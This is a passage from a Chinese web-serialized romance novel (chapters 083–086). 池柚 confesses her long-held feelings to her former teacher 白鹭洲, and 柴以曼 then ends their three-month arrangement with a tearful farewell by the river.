池柚正要返回微信看看柴以曼说了什么,忽然听到白鹭洲咳嗽了一声。 她马上放下手机,紧张地看向白鹭洲那边。 白鹭洲又咳了好几声,应该是咳醒了,能在半昏暗的夜灯光力看见她动了动,似乎是想起身。 池柚站起来,轻声问:“老师,怎么了?” 沙哑的声音传来:“想喝水。” “你别动,我给你倒。” 池柚也不管落在沙发上的手机了,快步走到桌边,用一次性纸杯倒满水,来到白鹭洲旁边坐下,没拿水的手去扶白鹭洲。 “来。” 白鹭洲顺着池柚的动作坐起来。池柚看她没什么力气,直接将水杯凑到她嘴边,让她就着自己的手喝。 微弱的光线里,白鹭洲脸上被打出的阴影让她看上去又清瘦了许多。 刚刚脱掉外套后,她顺手解了几颗衬衣顶端的扣子,本意是想让呼吸顺畅一些,但眼下那敞开的领口里,露出了一大片不该露出的皮肤。 肩窝中,映着清晰的锁骨阴影。还有薄透的皮肤下青色的血管,隐隐约约的一抹冷色,因为她喝水的动作而浮起了轻微的弧度。 池柚红着脸移开目光,不敢再看。 “池柚。” 白鹭洲低声开口。 “嗯?” 池柚还是没转过头来。 “水溢出来了。” 池柚慌忙回头,才发现她的回避导致杯子的角度失衡,清水直接从白鹭洲的嘴角淋出,数道湿漉漉的水痕顺着白鹭洲的下巴流到脖子,再从脖子流进领口,消失在引人遐想的终点。 “对不起对不起。” 池柚立刻放下水杯,拉起自己的袖口探过去帮白鹭洲擦。 “对不起。” 她的袖子从白鹭洲的下巴擦到白鹭洲的脖子,仔细地来回擦沾水最多的喉咙,再往下,擦上白鹭洲的锁骨。 柔软的袖口在锁骨上擦拭到第三秒时,白鹭洲倏地抬手,攥住了池柚的手腕。 僵持了大约半分钟。 白鹭洲用最后一点理智压下了疯狂涌起的欲念,松开池柚的手。 “不用擦了。” 这真的,是她最后的一点理智了。 池柚后知后觉地意识到,因为她的莽撞,让白鹭洲又经历了一次难熬的忍耐。 她愧疚地后退了一截,再次说句:“对不起。” 白鹭洲沉寂了好阵子。 “忽然想起,在酒吧里我对你说完那些话后,你好像还没给我什么反馈。” 白鹭洲转开了话题。 不过,这也确实是此刻她想问出来的事。 “你有没有想和我说的话?” “……有。” 有的。 只是当时白鹭洲醉得突然,池柚来不及说。 白鹭洲浅浅一笑。 “现在和我说吧,让我转移一下注意力。” 池柚却皱了皱眉,说:“可那些话,我不想只是用来转移你的注意力才对你说。” 白鹭洲:“是很重要的话吗?” 池柚:“重要的。” 白鹭洲:“那等我两分钟。” 白鹭洲合上眼,双臂环住身体,静静地坐着,自己独立地清空纷扰的思绪。 时间短暂地暂停。 池柚也暂停了,双手交叉放在膝盖上,等待白鹭洲。 白鹭洲感觉到自己的心跳重新恢复平缓,脉搏不再混乱,胸口也不再燥热时,刚好默数到一分五十八秒。 她在心里按停了无形的计时器,睁开眼。 “好了,你说吧。” 池柚:“可以认真地听了?” 白鹭洲:“可以了。” 池柚:“好。” 空气安静了一小会儿,万物也噤了声。好像世间的一切,在这一秒,都在为接下来的话语做准备。 “其实,老师,我一直在等你的这个回答。等你很确定地告诉我,你喜欢我。” 池柚平稳又清晰地轻声说。 “因为等你确定以后,我就可以告诉你一个秘密。” 白鹭洲:“秘密?” “嗯。” 池柚侧过一点头,在昏暗光线里看着白鹭洲。 “在云州酒吧的那晚,我骗了你。” 白鹭洲的心理猛地起了一片层层匝匝的刺。 “骗我?” “嗯。我当时和你说,我不确定我对你是不是雏鸟情节,这句话,是骗你的。” 池柚抿着嘴唇,轻和地笑了一笑。 “因为你那时候先和我说,你不确定是喜欢我这个人,还是喜欢我给你的安全感。” “所以……编这句话,惩罚我吗?” “不,不是惩罚。” 池柚坚定地摇摇头。 “我发现,你和我说那些话时,眼睛里有很多恐惧,你好像很害怕吓走我。你怕我在意,你还不确定喜不喜欢我这件事,你怕得嘴唇都在抖。我想不出什么更好的办法安抚你,于是我骗你说,我也不确定对你是不是雏鸟情节。我觉得,这样,你的心理就会平衡了吧,就不会觉得……亏欠我太多了吧。” “但其实我很早就知道,我对你不是雏鸟情节了。” 池柚眨了眨眼,瞥向窗外。 “我想,雏鸟情节,是依靠和依恋,是把对方看成可以倚仗的一棵大树,希望对方能保护自己。可是,你保护小时候的我时,我只觉得你人很好,很尊重你,想报答你。” “我真正喜欢上你,想亲你,抱你,是在你像小美人鱼一样的时候。” “是那个脆弱的,压抑自己不要哭出来的,孤独的白鹭洲。” 池柚的声音很轻很轻。 “没有人选择的白鹭洲。” “走路时肽板会磨得脚跟刺痛的白鹭洲。” “难过时,让我想送一朵小红花给她的白鹭洲。” 池柚的视线从窗外回到了白鹭洲的脸上。 “对不起,我可能确实不是很懂人类们这些关系之间的区别。我只知道,我爱上你的时候,你才更像那只雏鸟。” 第084章 池柚的最后一个字音落下后, 在夜灯与月色的夹光里,她清晰地看到白鹭洲的眼尾落下了一滴眼泪。 这好像是她,第一次, 亲眼看到白鹭洲哭。 池柚又和许多年前看到白鹭洲那条微博时一样,大脑反射区中疯狂生出对白鹭洲的心疼。 她不自觉地往前坐了一些, 拉近了刚刚退开的距离, 拽起自己另一边没给白鹭洲擦水渍的干袖子, 小心翼翼地举起,去擦白鹭洲颊边的眼泪。 但她这个举动,却让白鹭洲的眼泪流得越来越多。 怎么都擦不干净了一样。 池柚不知道这时该说些什么, 白鹭洲也不说话,只是注视着池柚流泪。 两个人,一个哭,一个帮忙擦, 这个状态维持了很久很久。 久到让池柚觉得, 不太正常了。 就算感动,至于哭成这样吗? 而且眼前人不是情绪会正常表露的旁人,是一向隐忍克制到极致的白鹭洲。 “有、有这么感动吗?” 池柚犹豫着问。 白鹭洲极浅地弯了下唇角,挡开了池柚帮她擦眼泪的手, 自己用掌根斜着擦掉剩下的湿痕。 她虽然哭得久了点, 但她的神情和仪态仍旧平稳,胸口都没有稍剧烈的起伏, 一举一动也依旧维持着表面的矜重。 “前一分钟哭, 是感动。” 白鹭洲开口时,声音竟比她喝水前更哑。 “一分钟之后的哭, 是想到……如果你最后没有选择我,我该怎么办。” 池柚蓦地失神。 她忍不住地将这句话细细放入心底, 慢慢拆分开,逐字去感受。 “你太好了,池柚。你真的,太好太好了。” 白鹭洲皱起眉,眼里有再难压抑的苦涩。 “你这么好,我不会再喜欢上别人了。” 听白鹭洲这么说,池柚的鼻尖竟也跟着发酸。 “如果你最后和别人在一起,我、我该……怎么办……” 白鹭洲才擦干的眼尾又变得湿润,沙哑的嗓音里染上控制不住的点点哽咽。 “我该怎么办……” 如果说以前示弱的白鹭洲是冰川碎裂,那现在的白鹭洲,就是已经碎裂的冰块又融化成了水。 水里有沙砾,树枝,碎玻璃,在刮着她的那双起雾的眼睛。 毫无疑问,这一刻,她的皮囊下,定然在下一场暴雪。 白鹭洲没有明说出那句话,但池柚懂她在害怕什么。 ——如果连池柚都不要她了,那这个世界上,就真的不会有任何一个人,会永远坚定地选择她了。 为什么她终其一生,漫漫长路上,什么都留不住? 为什么只有她白鹭洲的遗憾,是始终都无法补圆的遗憾? 白鹭洲产生动摇的这一瞬,池柚倏而意识到,她努力了三年,甚至可以说是十三年的成果,在刚刚的那秒里轰然倒塌了。 怎么会这样呢? 她预想的明明是只要她追求白鹭洲的时间足够长,就算最后她走了,白鹭洲也会因为她的追求而拥有这份对世界的自信。 是什么地方变了? 良久,池柚才想明白。 变的是白鹭洲。 白鹭洲爱上了她,想和她在一起了。所以她的抽身,会在顷刻间,让三年的救赎变成三年密密麻麻的刀。 在她未来某一天离开的时候,所有的刀,将全部刺向白鹭洲。 池柚第一次如此具体地感受到,坚守原则是件多么难的事。 她以前从未想过,白鹭洲抱着“师德”两个字保持着和她的距离,控制着不要逾距,心里究竟会受怎样的煎熬。可是现在她忽然就明白了。 她好想抱一抱面前抵着额头流泪的白鹭洲。 想告诉白鹭洲,其实,她的选择从始至终都没有变过。 她曾说过,以后她会让自己的身体基因去选择未来的伴侣。她不笨,她很清楚,在柴以曼提出要牵她手,她本能地拒绝时,在看着哭泣的白鹭洲,每一根神经都生出想要拥抱对方的欲望时,她身体的基因,已然做出了最诚实的选择。 可是不行。 池柚一直坚守的原则始终在告诫自己:她答应过柴以曼的,三个月就是三个月,不会和白鹭洲越界就是不会越界。一旦她自毁约定,她所有的原则就会在瞬间统统崩坍,她曾经做出的承诺会全部变成笑话。 原来,想靠近却不能靠近,是这种样子的折磨。 池柚对白鹭洲的爱,向来都是由心疼为种子生出来的。 她意识到“忍耐”很折磨人的时候,第一个念头不是替自己难受,而是开始心疼以前习惯了“忍耐”的白鹭洲。于是爱意更深,越深越心疼,越心疼越深,像一个无限纠缠增长的函数,看不到尽头。 “要是你早一点接受我……就好了。” 如果白鹭洲早一点接受她,或许后面这些纠结和难耐全都不会发生,她们也不用等这漫长的三个月。 白鹭洲的唇缝里溢出三个字: “对不起。” “我不是怪你,老师。”池柚垂眼,“我只是……感慨。” 毕竟白鹭洲从来都没有做错过什么。 她以前做的选择,也是在她的是非观里,唯一正确的选择。 只是一切都恰恰好错了位。 “……我说这些,是不是又给你压力了?” 白鹭洲抬起泛红的眼睛,眼里铺满了随时要和池柚道歉的准备。 “没有。” 池柚飞快地收拾了一下自己的情绪,眨好几下眼睛,清清嗓子。 “老师只是喝多了,太累了。要不,早点休息吧?” 这个时间了,再不睡,过不了两个小时又得起来赶飞机回云州去上班。 白鹭洲见池柚要从床边起来,伸出手去按住了她的手腕,“你可以不走吗?” 池柚:“我没有要走哪儿去啊,我就回沙发上。” 白鹭洲:“我的意思是……就留在这里。” 留在床上。 池柚怔怔的。 白鹭洲:“我还有话想和你说。” 池柚:“你不睡觉了?” 白鹭洲:“不太想睡觉。” 池柚:“那明天去上课,状态不好怎么办?” 白鹭洲:“喝咖啡。” 池柚:“不能这样,你身体本来就不好,旧病也没痊愈,还喝着药。要是熬个大夜,白天又得靠咖啡因撑着去工作,身体会垮的。” 白鹭洲:“那请假。” 池柚想了想,或许白鹭洲请个假是最好的解决办法。因为就算现在白鹭洲马上睡觉也得不到充足的休息,连续的劳累依旧会拖垮她。 这么想着,池柚也就默许了白鹭洲此刻的任性。她绕到床的另一边坐上来,靠在床头,离白鹭洲有段距离,这样方便聊天,也维持着分寸。 白鹭洲侧躺下来,半边面向着池柚。随着她的动作,她衬衣的领口又下塌了一小截。 好在光线阴暗,看不清太多迤逦。 和白鹭洲躺在同一张床上,尽管隔得很远,池柚还是开始有点忐忑无措了。 怎么可能无波无澜。 毕竟这是白鹭洲。还是喝了酒,半敞衣领,脸色微红的白鹭洲。 她低头抠着自己的手指根,问:“老师,想和我说什么呢?” 白鹭洲:“想问你一个问题。” 池柚:“什么?” “其实之前,看到那些积木的时候就想问了。” 白鹭洲声音不重,可她的嗓子经过唱戏的沙哑和酒液的浸泡后,在这深夜,听起来有种可以蛊惑人心的分量。 “你太了解我了,你看到过我很多不为人知的一面,知道我生活的很多细节,知道我想要什么,缺什么,知道我经历过的很多事,那些积木看上去也不是短短几年就可以搭建起来的。” 她抿了下唇角。 “你到底,喜欢了我多久?” 池柚没有直接回答这个问题。 她沉默了好半天。 白鹭洲:“是不太方便告诉……” “老师,你记不记得,一只乌鸦?” 池柚忽然开口问。 白鹭洲被问得怔住。 乌鸦…… 过去十几年里,那只总是来她窗口枝头落着陪她的乌鸦,她还给它起过名字,叫小乌黑。之前在白柳斋,爷爷还以这只乌鸦为象征安慰过她。 可是池柚怎么会知道这只乌鸦? 池柚又问:“那你记不记得,我家有一只宠物,叫旺财?” 白鹭洲之前在9岁的小池柚家里做家教时,没有见过她家养什么宠物。后来重逢后,她确实有听池柚提起过有这么一个旺财,有时候是打电话给妈妈嘱咐多给旺财吃肉,有时候是聊起旺财被送去寄养的事。 但听这名字,她一直以为那是一条狗。 难道…… “旺财,它就是那只乌鸦。” 池柚轻轻地说。 “它是我养了很久很久的宠物,以前没笼养起来的时候,总是会飞出去跟着我一起去白柳斋。本来没有打算每一次都让它跟着,但有一回在白柳斋大门前,我看到你对站在枝头上的它笑着告别,我感觉到你喜欢它,于是后来,我每次都让它跟着。那个时候,我还不能出现在你面前,就想着,让它去陪陪你也好。” 池柚侧目看向白鹭洲。 “你还记得第一次见到它,是在哪一年吗?” “……” “老师,你第一次见到它是多少年前,我就喜欢了你多少年。” 白鹭洲的瞳孔一紧。 她一直以为,是她家屋檐下好搭巢,又或是奶奶晒在院子里的谷子格外饱满,那只黑色乌鸦才会一年又一年地降落在她窗口的石榴树枝头。 可原来,每一次的造访,都只因为,它是跟随主人而来。 十几年…… 竟然……是…… 十几年…… 白鹭洲心里最后的那根线,终于被这个数字绷断了。 今晚有很多很多东西都压在她岌岌可危的那根底线上。 看到那条微博热搜后的酸涩,跟池柚剖白自己感情的恍惚,听到池柚谈论雏鸟情节的感动,想到以后池柚有可能离开她的痛苦。 以及终于知道,旺财就是那只乌鸦。 她明白,某种意义上来说,乌鸦,就等同于池柚本人。 很多东西忽然拉上了小于号,大于号,和等号。 而她喝下的高浓度酒精,将所有感情公式括起来,在后面增添了一个巨大的乘号。 世间没有任何一种“底线”,可以兜得住这个公式的结果了。 被汹涌磅礴的情绪裹挟着,白鹭洲撑起身体,红着眼眶靠近池柚。在池柚还没反应过来的时候,她贴在了池柚的身前,右手抚上池柚的脸,颤抖的气息洒在对方的鼻梁上。 两个人的体温长出千千万万只小手,彼此拉拽,撕扯着最后的距离。 池柚的鼻腔里猝不及防地涌入属于白鹭洲身上的清苦茶香与浅淡酒气,她震惊地看着忽然逼近她的白鹭洲,一瞬不瞬,忘了呼吸。 “池柚,”白鹭洲极近地与池柚清澈的双眼对视,“我不想要道德感了。” ——我不想在乎我们之间是不是还隔着别人了。 “我不想永远只做正确的事了。” ——我不想遵守保持距离的承诺了。 “我甚至,不想再做白鹭洲了。” ——哪怕是作为一个没有姓名没有身份的人。 “可以吗?” ——现在,可以吻你吗? 第085章 分不清是谁的心跳声, 在寂静的房间里清晰地怦怦跳动。 白鹭洲预料得没错,池柚不该那么相信她的。 她最引以为傲的自控力,永远都会在遇到池柚的时候, 轻易被池柚的一句话,一个表情, 一个眼神分解掉。 她就知道。 从狂欢派对那夜之后, 她早晚会控制不住对池柚做现在这件事。 池柚怔怔地看着近在咫尺的白鹭洲, 结巴着直接问: “你、你、你要亲我?” 虽然白鹭洲只是问了一句“可以吗”,但池柚解读白鹭洲向来有九成九的准确。 “嗯。” 白鹭洲的目光缓缓下移,停在了池柚的嘴唇上。 那里看起来很软, 唇舌触碰过去时,应该也会感觉到甜。 “想亲你,可以吗?” 白鹭洲的眼睛在夜色里凉得像一潭冰,冰下有冬眠醒来的游鱼摆尾撩水, 一圈圈涟漪泛开, 恍若酒吧里受音乐声波震荡的酒液表面。 她的瞳孔又变得很深,深到让人想往她眼底的幽渊里跃。罔顾生命,罔顾危险,抛下身前身后的所有, 跃下去。 死在她眼里。 或重生在她眼里, 轮回成另一条游鱼。 池柚胸口的起伏越来越大,她抿住嘴唇, 垂眼。 沉寂良久。 最后, 池柚没说可以,也没说不可以。 她抬起了右手, 曲起自己的小拇指,指骨在自己的嘴唇上轻轻碰了一下。 然后伸出去, 像是要和一个人拉钩起誓似的,用刚刚自己亲过的小指指骨浅浅地贴上了白鹭洲的鼻尖。 停顿一秒,向下落去。 最后,落在了白鹭洲的嘴唇上。 她刮了一下白鹭洲的鼻子,以示对她这种越界行为的羞怯与嗔怨。 又在行走过她鼻尖后,将指骨的终点定为她的嘴唇,满足了她的愿望。 尽管是间接的。 没有实质触碰的。 池柚的手指还在白鹭洲唇上时,白鹭洲便忍不住轻笑了一下。 白鹭洲握住了池柚的手,半阖双眼。 她知道,池柚已经在坚守原则与放纵随性之间,对她展露出了最大限度的放肆。于是她不再行进,缓缓地等待胸口的热潮褪去,压下酒意激起的其余非分之想,低下头,又温柔地吻了吻池柚的手指。 “谢谢。” 白鹭洲冰凉的嘴唇抵在池柚的指骨上,蹭着那里轻轻翕动。 “……已经足够了。” 说完,白鹭洲就松开了池柚,退回到刚刚的位置,平稳地躺下。 “我要睡觉了,你也睡吧。不用去沙发,就躺在床上,你放心,我不会再碰你。” 白鹭洲闭上眼睛,双臂卷着被子抱在胸前。 “今晚……很开心。谢谢你。” ——谢谢池柚这一晚说的所有话,做的所有事。 黑夜掩住了池柚烫红的脸颊,她糯糯地说了声: “晚安。” 白鹭洲:“晚安。” 白鹭洲睡着得很快,大概道完晚安后两分钟,黑暗里就传来了她均匀变慢的呼吸声。 她确实很累,酒劲也在催眠,身边没有离开的池柚更是给了她等待已久的安全感。毫不意外,这是她这么多天来,睡得最香最沉的一次。 池柚也困了,可她还暂时睡不着。 她的脸还在发热,扯着被子背对着白鹭洲,缩在床边。仿佛尽量离白鹭洲远一点,就可以尽快平静下来似的。 心跳声在懂事地帮她数羊。 软绵绵的小羊从她心口的草原踩过去。 一只。 两只。 三只。 …… 无数只. 池柚醒来时是中午了。 她记不太清昨晚自己是几点睡着的,折腾一宿,睡得有点沉。 醒来后,她下意识去找旁边的白鹭洲。可是床的另一边已经空了,匆匆环视房间一周,白鹭洲的包和琵琶也不在了。 池柚缓了一会儿,下意识拿出手机,想联系白鹭洲。 打开微信,却看见白鹭洲已经在凌晨五点离开时给她发了消息。 白鹭洲:【今天学校请不了假,有很重要的工作,所以我先走了。抱歉骗了你,昨晚就是想和你多聊一会儿。】 白鹭洲:【不必担心,工作结束后我会好好休息。】 白鹭洲:【我在云州等你回来。】 池柚握着手机,发了片刻的呆。 她揉了揉脸,给白鹭洲回复了一句【记得按时吃药】。才退出去,蓦地想起来昨天好像还有一条来自柴以曼的未读消息,又点进柴以曼的对话框。 点开那条语音,柴以曼的声音从听筒里响起: “算了,我还是一个人去吧。” 池柚向上划了一下,串联起已经记不太清晰的前文对话。 柴以曼:【明天下午温确就会到陵江,我们需要一起去和温确吃个饭。】 池柚在两个小时后回:【好的。】 然后就是这条语音——“算了,我还是一个人去吧。” 这是……发生了什么? 怎么突然就改变主意了? 池柚回复道:【怎么了姐姐?】 这一次,柴以曼在没有报备的情况下,没有秒回。 池柚等了一段时间,见柴以曼一直不回消息,有点担心,于是直接起床简单收拾了一下,准备直接去柴以曼的房间找人。 来到柴以曼房间的门口,池柚轻轻地敲了敲门。 “姐姐,你在吗?” 会不会不在,有别的事要忙,所以才改变了行程? 正这么想着,门里却传来柴以曼的应答: “门没锁,进来吧。” 门果然是虚掩的,轻易就能推开。 池柚走进去,看见柴以曼一个人站在坐在窗前的沙发里,食指和中指夹着眼镜腿垂在扶手边,另一只手正在揉眼睛,眉间似乎积累了许多疲惫。 池柚关好门,也走到窗边,在沙发另一头坐下,“我看到你给我回的消息了,怎么要一个人去了,是不是有什么意外情况?” 柴以曼将眼镜戴回去,轻声说:“没有。” 池柚:“那为什么……” 柴以曼笑了笑,打断池柚: “不急着说那个,你今天有空么?” 池柚:“有的。” 柴以曼站起身,“那我带你在陵江好好地玩一玩,来这么多天了,光顾着窝在酒店里处理那些麻烦事,都没去看看陵江的风景。” 池柚:“可下午不是就要去……” “没事,来得及。”柴以曼拿起外套,回过头看池柚,“今天你的这半天时间,就留给我一个人,可以吗?” 池柚微怔:“你……” 柴以曼:“我只要这半天。” 池柚感觉到了什么,但她捉不住那种莫名的预感。 “……好,我和你去。” 她看不清那预感,但那预感递来一丝讯息,叫她无论如何,要答应柴以曼这一次的请求。 柴以曼和池柚下楼,借了剧组工作人员的一辆车,开着车,开始绕陵江游玩。 她们先去了陵江的特色餐馆,吃了一顿异常丰盛的午餐。柴以曼点了起码7-8人份的菜量,眼花缭乱地摆满了圆桌。 接着柴以曼又带池柚去了有名的几个景区,现在不是旅游旺季,不用排队,人也少,她们可以慢慢逛。 于是逛了奇石嶙峋的砂石滩,坐了横渡陵江的游船,还爬过一座开满鲜花的小山丘。 逛完景区,柴以曼又带池柚去了电玩城,一口气买了八百个币,拎着沉甸甸的一筐游戏币,将电玩城里所有项目都玩了个遍。 池柚玩的时候,柴以曼就握着竹筐把手,静静站在她后面。在池柚为了玩赢一把游戏都出了细汗时,笑着问她:“好玩吗?” 池柚说好玩,问姐姐你玩不玩。 柴以曼摇摇头,说,我看你玩就好。 满满的行程进行到下午,柴以曼又带池柚去吃了陵江的路边摊。炸淀粉肠,烤肉串,薯塔,但凡池柚多看一眼的食物,她都买下来,拎满双手。 她们带着路边摊买来的小吃,沿着陵江河岸线散步回酒店。 就像她们头一次相亲见面那样,吃过饭,一边聊天一边慢慢走回去消食。 走到那晚柴以曼曾抱过池柚的地方时,池柚见酒店近在咫尺,感叹一句终于到了。 柴以曼却停住了脚步,说:“我们再在这里待一会儿吧。” 池柚也停住,回过头,“好啊,那我们在那边石阶上坐会儿,吹吹风。” 柴以曼:“嗯。” 两个人在陵江边的石阶上坐下来,池柚吃着手里的薯塔,柴以曼支着下巴,望着江面不说话。 等池柚吃完最后一口薯塔,柴以曼放下胳膊,看向她。 “小柚子,我想和你好好聊一聊。” 这样的开头,总是预示着一段重要对话的发生,难免惹人紧张。 再加上今天的柴以曼已经给了池柚很多不寻常的预感,她们好像都明白,有什么转折点要到来了。 池柚坐正了一些。 “姐姐要聊什么?” 柴以曼打量着池柚,又笑了一笑。 “看你这表情,真是容易叫人误会,你还挺在乎我的。” 池柚自然地说:“我们现在至少* 也算朋友,我在乎你,很正常啊。” 柴以曼的脸色却黯了下来,“果然,目前为止,我们还只是‘朋友’。” 池柚张了张嘴,不知该如何回应这句话。 “你很善良,但有时候你的这种善良,带来的也不全是好处。” 柴以曼很轻地说。 “会遮住人的眼睛,迷惑住人的理智,让人老是忘了去看一看,藏在善良背后的真实想法。” 池柚欲言又止。 “……我看今天的天气不错,外面路上的车也少,要不,你今天就回云州去吧。” 柴以曼侧过脸,浅笑着看池柚。 “你放心,网络上的事我处理得非常彻底,从今以后不会再有任何关于你和我的风言风语出现,你的生活不会受任何影响。” 这几句话表面听起来普普通通,但仔细回味“非常彻底”“从今以后”“任何影响”这几个字眼,又隐约可以察觉到柴以曼的异常。 池柚皱了眉,“你是……什么意思?” 柴以曼也不绕弯子了,直言道:“昨晚白鹭洲来找你,你先跟她坐车走,然后又回来,之后直到凌晨,白鹭洲才离开。这些,我都看见了。” 池柚愣住。 “别担心,我说这些,不是想向你追责,或是质问你什么。” 柴以曼别过头,看向石子路面。 “让你回云州去,更不是赌气,闹别扭之类的。现在这个决定,是我一晚上没睡,认真思考过后做出的。” 池柚:“决定?” “想了很久,突然就想明白了。其实……这些天来,不是你在遵守和我的三个月约定,而是我一直在用这个约定,捆着你。” 柴以曼说。 “哪怕明明知道真的没有什么希望,哪怕很清楚,你喜欢的人从始至终都只有白鹭洲,以前是,现在是,以后也是,没有一个阶段,会是我。” 柴以曼轻笑了一声,满是自嘲意味。 “之前总觉得,反正也没喜欢上你,这三个月争取一下又能怎样。你选择我最好,不选择我,我也没什么损失。我告诉过你吧,我不甘心随随便便地放手。” 池柚:“那……为什么现在……” “可我也告诉过你,虽然现在还没有喜欢上你,但我对你的好感,正在和你交流过的每句话里面慢慢累积。我害怕,怕这些‘好感’最后累积成了‘喜欢’,却发现,其实咱们两个人的开始是一颗枯死的种子,根本开不出花。” 柴以曼抿了抿嘴角。 夕阳的映射下,可以看出她今天没有在框架里多戴一个隐形眼镜,只是戴了框架。 “在明明知道我挤不进去的情况下,我不能……让它累积更多了。” 柴以曼低下头,摘掉了手腕上那串戴了很久的檀木手串。 她将檀木手串还给池柚。 “在它彻底变成我的金属镣铐之前,我还是先自己把它摘下来比较好。” 她勾了下唇角。 “不用对我感到抱歉,你可以认为,这是我在启动我的自我保护机制。” 池柚的鼻尖一酸,“你、你的意思是……” 柴以曼:“这三个月的约定,你不方便来叫停,那就由我来叫停。” 池柚:“……” 柴以曼见池柚迟迟不伸手,便主动拉过池柚的手,将檀木手串放回到了池柚的手中。 她的手离开时,指尖最后轻抚了一下已经被戴得温润的檀木珠子。 随之而来一声散漫的轻叹。 “好险,差一点,就真的喜欢上你了。” 池柚收拢五指,颤抖着攥住掌心里的檀木手串。 她心中的愧疚源源不断地涌出,快要把她的理智淹没过去。 “我刚刚说,你的善良会迷惑到别人。但我现在也想告诉你,可能你自己都没有发现,你的善良也会迷惑到你自己。” 柴以曼缓缓道。 “你一直在坚持做正确的事,顾全所有人的感受,想让每一个人都过得开心。可是你自己呢,池柚?你把你自己放在了什么地方?如果我现在让你说出一个你最想对她好的人,你要用多久,才能想到你自己?” 池柚的呼吸一窒。 柴以曼:“为了顾全我,牺牲自己的感受,刻意忽视心里真正的欲望。我不需要你这样,我也不想看到你这样。如果我明明看到了你的压抑和煎熬,还要继续勉强着你……那也太残忍了,你说是不是?” 池柚一句话也说不出来,眼底漫上血丝。 “还有啊,你知道我昨晚在楼上看到你和白鹭洲在一起时,在想什么吗?” 柴以曼看出了池柚的情绪变化,于是换了个随性的坐姿,刻意让接下来的语气变得轻快起来。 “我在想,我怎么这么讨厌啊,这么两情相悦的两个人,怎么就因为我顾虑这个顾虑那个的?弄得你好像在为一个根本没什么意义的约定守寡一样,好可怜,你和她都好可怜。我怎么好像变成了小说里面最讨人嫌的那种恶毒配角呢?” 江边的太阳不知何时又下沉了一些,光影从柴以曼的鼻梁扫到了她的眼睛上。 “你说得对,我是一个优秀的创作者。一个优秀的创作者,一定知道在一段故事中,于合理的节奏里分配角色的到来和离开。只有主角有资格贯穿故事始末,对不对?” 柴以曼虽然在故作轻松地笑,但她声音里的情绪却坠得快要掩不住了。 “懂事的创作者,是不会让一个配角占据太多篇幅的。我现在,也该安排我自己这个配角下线了。” 柴以曼努力让自己的笑看起来更阳光、再阳光一些。 “怎么样,我的文学素养很高吧?在你的世界里,柴以曼,柴门雪,还是你能想到的,最好,最好,最好的大作家吧?” 池柚的眼泪终于顺着脸颊落下。 “对不起,对不起……” “你没有做错任何事,你已经给了我最大的尊重和善待。我很感谢你,谢谢你为我做的一切。” 柴以曼站了起来,面对池柚。 “我从来不后悔,遇到了一个像你这样的女孩子。如果再回到两年前,我还是会在书里面写下唐柠,还是会想要来亲眼看看,现实里的唐柠是不是和我笔下的一样美好。池柚,你没有对不起我,你成全了我,还有那一部我此生最难忘的作品。” 池柚哭得肩膀都在抖。 “要是可以,我希望我们以后还是朋友,和白教授也是,我也想和她继续做朋友,还有宋七月,黎青。你们都是很好的人,我很想能和你们延续一份友谊。那个群,咱们就把它改成常用聊天群,不要解散了,好吗?” 池柚顾不上擦眼泪,忙点头。 “好,好。” “那现在,就为我们的旧关系彻底告别吧。” 柴以曼向池柚伸出了手。 池柚想起之前好几次,柴以曼想牵她的手,她都没有允许过。 最后的告别了…… 就……满足她,这么一次吧。 池柚便也伸出手,主动去拉柴以曼的手。 柴以曼却躲了一下,摇摇头,说: “翻过来,手背朝上。” 池柚顺从地将右手翻了个面。 柴以曼将自己的右手,悬在池柚的右手上方。 一秒后,轻轻地落下。 她用自己的手背,轻柔地贴上了池柚的手背。 ——她们之间,以此开始,以此结束。 ——不必曾牵手,不必再牵手。 “时间到了,我要去饭局了,你也要回云州了。” 柴以曼释然地朝池柚微微一笑。 “再见,池柚。” “……” 池柚泪眼朦胧地望着她,嘴唇动了又动,才让自己接上这一句: “再见。” 道完别,柴以曼转身迈上台阶,孤身向酒店走去。 走过一层层台阶时,她恍然感觉,自己好像是在走过那本她写下的一页页书。 她曾踩着书页走向这个人,用两年的时间,从幻想走到现实。而现在,她踩着书页般的台阶,从现实退回去,再亲手一行一行地抹掉她所有不切实际的妄想,与已经丢失了名为“真心”的筹码、却不敢让任何人发现的赌局。 好险,差一点,就让池柚发现,自己其实已经喜欢上她了。 柴以曼强忍着眼眶里的泪水。 再见。 再见。 我的缪斯。 第086章 白鹭洲上完下午的最后一节课, 伴着下课铃声,拧开保温杯,喝了一口里面还没凉透的苦中药。 中药的适口性从来都不会很友善, 但她的嗓子太疼了,现在只要是带一点温度的液体, 都可以缓解她喉咙的糟糕情况。 “白教授, 再见!” “白教授拜拜!” 下课的学生离开时和白鹭洲热忱地告别。 白鹭洲朝他们点点头, 以示回应。 往教室门口走的学生们压低的叽叽喳喳讨论声隐约传来。 “白教授现在怎么都自己带杯子了?” “以前不是有那个隔壁医科大的小姑娘追她吗,之前都是那小姑娘给白教授带各种奶茶什么的,现在人家又不来了, 可不得白教授自己带杯子。” “哎对对,我听许优说起过,她回老家的时候碰到过那个医科大的,说是不喜欢咱白教授了。” “妈呀, 那下一届的学弟学妹们不是少个乐子吗。” “啧, 你搁那放什么屁!别这么说人家……” 白鹭洲听到了他们的对话,面色如常,喝完了杯子里最后一点中药。 最后走的两个女学生来到讲台前,犹豫着互相推了推, 其中一个清清嗓子, 有点不好意思地对白鹭洲说:“白教授,我们晚上有个聚会, 快毕业了嘛, 班上大半人都会去,导员也去, 您看您有没有时间……” 另一个女生插嘴:“就这一次聚会了,我们班的人都特别喜欢您, 五十个人里面四十个都选修了您的课,剩下十个是没抢到的。您要是有时间,一定要来啊。” 好在白鹭洲凌晨回云州后睡过一觉,尽管休息时间不长,但此时匀出一些精力去赴这些孩子们的约,应该也没什么大问题。 “那……” 白鹭洲正要答应,手机忽然连着震了好几下。 她从外套口袋里拿出手机,点开新消息。 池柚:【我一个小时后降落,老师可以来机场接我吗?】 池柚:【如果在休息的话,或者不太想来,就可以不用来。】 池柚:【我不是想打扰你休息,我就是想到,你之前一直说想接我来着,所以我问一下你。】 白鹭洲盯着这三条消息看了好阵子。 她忽地一笑,回复: 【我去接你。】 “白教授?”还在等她回答的两个女学生出声提醒。 白鹭洲抬头,“哦,我有点事,去不了了,谢谢你们,实在不好意思。” 学生:“没关系没关系,您先忙。” 白鹭洲目送那两个女学生面带遗憾地离开后,马上收拾了讲台上的东西,准备先打车回家,开自己的车去机场。 她心里还有一些疑问,想问池柚怎么会突然回来,陵江那边的事情都解决了吗?柴以曼呢,是留在陵江了,还是也会跟着一起回来? 